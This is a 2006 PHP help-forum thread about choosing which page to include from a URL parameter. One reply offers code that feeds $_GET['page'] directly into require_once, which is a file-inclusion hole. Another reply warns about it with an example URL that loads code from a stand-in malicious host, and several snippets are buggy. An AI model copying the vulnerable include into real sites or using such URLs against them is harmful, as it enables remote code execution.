Hellusius Posted July 26, 2006 Share Posted July 26, 2006 I tried checking a link with a little php script and yes I am quite a noob with php cause I only read a tutorial, but here goes anyway.[code]<?php $page= array("index.php, underC.php");if ($page=="index.php")include ("Newsfact_01");elseif ($page=="underC.php")Include ("underC.php");[/code]I don't actually know if that works, but I want to check like what site is loaded and then load the information from a page in the table Quote Link to comment https://forums.phpfreaks.com/topic/15690-checking-links/ Share on other sites More sharing options...
ozPATT Posted July 26, 2006 Share Posted July 26, 2006 not too hot on arrays, but I usually pass the page in the url, so the index page looks like:[code]if(isset($_GET['page'])) { $page = $_GET['page'];}else { $page = "home";}require_once($page . ".php");[/code]this way, I store all the content in a separate folder called "content" funnily enough, and index page is just used to display it. So you might have the following page and link:Home = index.phpNews = index.php?page=newsAbout = index.php?page=aboutContact = index.php?page=contactif that makes sense. :) Quote Link to comment https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64020 Share on other sites More sharing options...
Hellusius Posted July 26, 2006 Author Share Posted July 26, 2006 not one bit actually, sorry :o Quote Link to comment https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64039 Share on other sites More sharing options...
wildteen88 Posted July 26, 2006 Share Posted July 26, 2006 Hellusius you might want to look into [url=http://www.php.net/in-array]in_array[/url] if you are storing your pages filenames in an array.Also ozPATT your code is very unsecure, as i can come along and do this:yoursite.com/index.php?page=http://www.mybadsite.com/nastyfile.phpand nastyfile.php will have some malicous code which could pertentially screw up your site, and possibly others too. Quote Link to comment https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64043 Share on other sites More sharing options...
Hellusius Posted July 26, 2006 Author Share Posted July 26, 2006 well I don't know on what other way to do it :( Quote Link to comment https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64048 Share on other sites More sharing options...
Hellusius Posted July 26, 2006 Author Share Posted July 26, 2006 It now looks like this btw[code] <?php $page= array("index.php, underC.php");if (in_array("index.php", $page, true)){include ("Newsfact_01");}elseif (in_array("underC.php", $page, true)){Include ("underC.php");}?>[/code]The only problem I am experiencing, is that none of the pages are loaded in the tableam I doign something wrong? Quote Link to comment https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64055 Share on other sites More sharing options...
Hellusius Posted July 26, 2006 Author Share Posted July 26, 2006 any suggestions? *desperate :( Quote Link to comment https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64205 Share on other sites More sharing options...
Hellusius Posted July 27, 2006 Author Share Posted July 27, 2006 No one that could possibly help me out here? Quote Link to comment https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64870 Share on other sites More sharing options...
sanfly Posted July 27, 2006 Share Posted July 27, 2006 Can you try and explain a little more exactly what it is you're trying to achieve? Quote Link to comment https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64877 Share on other sites More sharing options...
redarrow Posted July 28, 2006 Share Posted July 28, 2006 I read all this post please tell us what you want to do bugging me lol...............And this was the safe way to use get but each page has to have a condition=in the link ok.say on index.php you have these three links for your site[code]<a href="links.php?h=home">my home page</a>// for home page< a href="links.php?f=forum">my forum page</a>//for the forum page<a href="links.php?c=contact">contact me</a>// contact admin page[/code]All the above links goto a page called links.php and know we call the links with the $_GET[' '] statement also the above was a html version ok and is also a safe way to use $_GET[' '].Know on the page links.php you gotto use the $_GET[' '] statement.link.php[code]<?phpif($_GET['h']=="home") {header("location: index.php");}elseif($_GET['f']=="forum") {header("location: forum.php"); }elseif($_GET['c']=="contact") {header("location: contact.php");}else{echo"sorry you have not got any right to be on this page";exit;}?>[/code] Quote Link to comment https://forums.phpfreaks.com/topic/15690-checking-links/#findComment-64977 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.